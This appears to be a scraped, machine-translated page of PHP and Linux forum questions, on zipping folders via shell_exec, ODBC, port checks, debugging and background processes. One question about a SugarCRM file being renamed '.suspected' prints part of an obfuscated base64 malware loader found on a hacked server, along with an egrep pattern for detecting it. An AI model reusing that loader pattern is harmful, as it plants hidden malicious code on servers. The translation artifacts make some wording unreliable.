Articles of PHP的

如何压缩文件夹没有完整的path

首先我不是哪个是正确的stackExchange网站发布这个问题,如果问题是其他堆栈网站,请删除我的问题。 现在让我们来谈谈这个问题:这种情况是我有一个文件位于: /home/user/public_html/folder-one/folder-two/folder-three/file.php文件必须创build文件夹/folder-one包含/folder-one所有文件和子文件/folder-one 。 我使用系统函数(exec(),shell_exec()或system())创build存档,并且它工作得很完美。 我的代码是: <?php $output = 'zip -rq my-zip.zip /home/user/public_html/folder-one -x missthis/\*'; shell_exec($output); ?> 但是,当我下载并打开存档时,存档包括子文件夹/home ; /user ; /public_html但这个文件夹是完全不需要的,我想知道如何创buildzip没有他们。 当我尝试这样的事情$output = 'zip -rq my-zip.zip ../../../folder-one -x missthis/\*'; 但是当我打开文件夹(基于Windows 7的操作系统)时,文件夹的名称是../folder-one 后记:如果有人给我正确的 $output 基于Windows的托pipe计划制作拉链 将会更好 。 最好的问候,乔治!

PDO:如何访问Linux上的Microsoft Access文件?

我已经设法读取Windows上使用PDO的Microsoft Access文件(.accdb)的数据,但我有问题在Linux(CentOS)上工作。 我可以看到模块安装: [root@rapid host]# php -m | grep PDO PDO PDO_ODBC [root@rapid host]# php -m | grep odbc odbc 码: <?php try{ $dbhAccess = new PDO("odbc:Driver={Microsoft Access Driver (*.mdb, *.accdb)};Dbq=/root/access/data.accdb;Uid=Admin"); } catch(PDOException $e){ echo $e->getMessage(); exit(); } 我执行(CLI)PHP文件时遇到错误: [root@rapid host]# php access.php SQLSTATE[IM002] SQLDriverConnect: 0 [unixODBC][Driver Manager]Data source name not found, and no default […]

php文件自动改名为php.suspected

自从最近4天以来,我们的生产服务器(AWS EC2实例)面临一个特殊的问题,即只有一个SugarCRM站点。 问题是/home/site_folder/public_html/include/MassUpdate.php文件被自动更名为/home/site_folder/public_html/include/MassUpdate.php.suspected 这种情况一天发生2-3次,间隔3-4小时。 只有特定站点的情况下才会出现此问题,即使它不在同一站点的临时副本中进行。 我甚至从两个站点检查该文件的代码,这是一样的。 我们已经谷歌search,发现这种问题主要发生在WordPress的网站,这可能是因为攻击。 但是,我们检查了我们的服务器对攻击,没有任何。 此外,服务器上没有运行病毒/恶意软件扫描。 我们应该做什么? 更新:通过这个链接后我们发现了一些东西我们执行了egrep -Rl 'function.*for.*strlen.*isset' /home/username/public_html/发现下面的示例代码很less有文件。 <?php function flnftovr($hkbfqecms, $bezzmczom){$ggy = ''; for($i=0; $i < strlen($hkbfqecms); $i++){$ggy .= isset($bezzmczom[$hkbfqecms[$i]]) ? $bezzmczom[$hkbfqecms[$i]] : $hkbfqecms[$i];} $ixo="base64_decode";return $ixo($ggy);} $s = 'DMtncCPWxODe8uC3hgP3OuEKx3hjR5dCy56kT6kmcJdkOBqtSZ91NMP1OuC3hgP3h3hjRamkT6kmcJdkOBqtSZ91NJV'. '0OuC0xJqvSMtKNtPXcJvt8369GZpsZpQWxOlzSMtrxCPjcJvkSZ96byjbZgtgbMtWhuCXbZlzHXCoCpCob'.'zxJd7Nultb4qthgtfNMtixo9phgCWbopsZ1X='; $koicev = Array('1'=>'n', '0'=>'4', '3'=>'y', '2'=>'8', '5'=>'E', '4'=>'H', '7'=>'j', '6'=>'w', '9'=>'g', '8'=>'J', 'A'=>'Y', 'C'=>'V', 'B'=>'3', 'E'=>'x', 'D'=>'Q', 'G'=>'M', […]

在Linux中检查一个进程是否使用PHP运行

我正在使用kannel通过PHP发送短信。 我想知道如何检查一个特定的进程是否正在运行。 要运行bearerbox ,名为bearerbox的进程应该始终运行。 我想检查这个过程是否正在运行。 因为如果进程没有运行,那么邮件会发送给我通知我。

如何检查端口465和587是否用PHP打开?

我试图使用PHPMailer发送电子邮件与SMTP和Gmail。 确切的脚本正在使用其他服务器,但它不是在这个特定的托pipe公司的服务器上工作。 我已经检查了phpinfo() ,它告诉我, allow_url_fopen已on ,并没有像fopen列出的disabled_functions 。 脚本失败,它告诉我: SMTP -> ERROR: Failed to connect to server: Connection timed out (110) 要不然 SMTP Error: Could not authenticate. 我假设这是因为它无法连接,因为再次在其他服务器上的这项工作和身份validation凭证是正确的。 所以我更一般地问,有没有一种方法可以使用PHP或jailshell ssh来检查端口是否实际打开?

debugging长时间运行的PHP脚本

我有php脚本运行作为一个cron工作,广泛使用第三方代码。 脚本本身有几千LOC。 基本上它是数据导入/处理脚本。 (JSON到MySQL,但它也使得很多的HTTP调用和一些SOAP)。 现在,业绩随着时间而下降。 当用几条logging(大约100条)进行testing时,性能是好的,在10-20分钟内完成。 运行整个import(约1600条logging)时,一条logging平均import时间稳定增长,整个工作时间超过24小时,至less比预期长5倍。 内存似乎不是一个问题,使用量增长应该没有意外的高峰。 所以,我需要debugging才能find瓶颈。 这可能是脚本,底层代码库,PHP本身,数据库,操作系统或networking部分的一些问题。 现在我怀疑某种地方的caching行为不好,几乎有100%的错过率。 我不能使用XDebug,configuration文件增长得太快,无法处理。 所以问题是: 我怎样才能debugging这种脚本? PHP版本:5.4.41操作系统:Debian 7.8如果需要,我可以拥有root权限,并安装这些工具。 但它是生产服务器,理想的debugging不应该太扰乱。

AJAX Progress:从Shell读取输出

目标 :build立一个进度条,让用户可以检查我的服务器已经下载了多less文件。 场景 :我有一个PHP脚本通过popen执行python脚本。 我做了这样的事情: $handle = popen('python last', 'r'); $read = fread($handle, 4096); pclose($handle); 这个python脚本输出到shell如下所示: [last] ZVZX-W3vo9I: Downloading video webpage [last] ZVZX-W3vo9I: Extracting video information [download] Destination: myvideo.flv [download] 9.9% of 10.09M at 3.30M/s ETA 00:02 问题 :当我读入由shell输出生成的文件时,除了最后一行,我得到了所有的shell输出! 为什么? 只需添加一下,当我通过shell运行命令时,shell光标出现在该行的末尾,并等待脚本完成。 谢谢大家

C ++应用程序在几个小时后崩溃

我有一个用C ++编写的应用程序,使用opencv 2.0,curl和opensurf库。 首先,PHP脚本(cron.php)调用proc_open并调用C ++应用程序(称为icomparer)。 处理完成后,N个图像返回说明哪些图像相同的组,然后脚本使用: shell_exec('php cron.php > /dev/null 2>&1 &'); die; 并重新开始。 那么,经过800或900迭代我的icomparer开始打破。 系统不会让我创build更多的文件,在icomparer和PHP脚本。 proc_open(): unable to create pipe Too many open files (2) shell_exec(): Unable to execute 'php cron.php > /dev/null 2>&1 &' curl也失败: couldn't resolve host name (6) 一切都崩溃了。 我认为我做错了什么,例如,我不知道是否从PHP进程释放资源启动另一个PHP进程。 在“icomparer”我closures所有打开的文件。 也许不释放mutex_destroy所有的互斥体…但在每个迭代器的c + +应用程序是封闭的,我认为所有的东西被释放的权利? 我必须注意什么? 我试图用stof监视打开的文件。 Php 5.2 Centos 5.X 1 […]

限制访问我的网站上的图像,除非通过我自己的htmls

在我的网站上,我以一种简单的方式存储用户图片,如:“image / user_1.jpg”。 我不希望访问者只能通过尝试user_ids来查看服务器上的图像。 (例如:www.mydomain.com/images/user_2.jpg,www.mydomain.com/images/user_3.jpg,等等…) 到目前为止,我有三个解决scheme: 我试图使用.htaccess密码保护“图像”文件夹。 这帮了我一些意见,但一些图像开始popup一个用户名和密码请求我的htmls(而令人惊讶的是一些图像没有),所以这似乎是一个不可预知的方法。 我可以开始转换我的user_id的一些盐的md5哈希。 图像将被命名为:/image/user_e4d909c290d0fb1ca068ffaddf22cbd0.jpg。 我不喜欢这个解决scheme。 这使得文件系统的方式变得复杂。 或者我可以使用PHP的readfile()函数或Perl或Python中类似的东西。 例如,我可以使用md5string传递密码来validation访问者是否具有访问该图像的login用户。 我倾向于选项3,但与Perl或Python的angular度(假设他们会比PHP更快)。 不过,我想看看关于这个问题的其他想法。 也许有一个简单的.htaccess技巧呢? 基本上所有我想确定的是,没有人可以从我的网站查看图像,除非图像是从我的网站托pipe的htmls内直接调用。 非常感谢, Haluk

在后台运行的命令行脚本处于停止状态

我有一个简短的PHP实用程序脚本,我只是用cli来运行它: php myscript.php 脚本始终在运行,定期执行一些任务(与问题无关)。 它不需要用户的任何input。 运行后,我通常按CTRL + Z ,然后运行bg将进程置于后台,一切正常。 如果我运行它: php myscript.php & 脚本在启动时放在后台,但也处于停止状态。 例: [1] 11513 [1]+ Stopped php myscript.php 即使运行bg在这一点上没有帮助,我必须运行fg ,然后CTRL + Z和bg再次使其工作。 这是PHP脚本: <? while(true){ echo 'hi '.time()."\n"; sleep(30); } ?> 我的问题是,我不能直接在后台运行它,因为系统停止它,我不明白为什么。 我怎样才能解决这个问题? 更新: 我做了一个bash版本的同一个脚本,它可以运行,并放在后台(运行,而不是停止 ),只要启动它在&最后( script.sh & ) script.sh: #!/bin/bash while true; do echo `date` sleep 30 done 为什么php脚本在后台启动后会停止,而bash脚本不会呢? 什么可能导致这种不同的行为?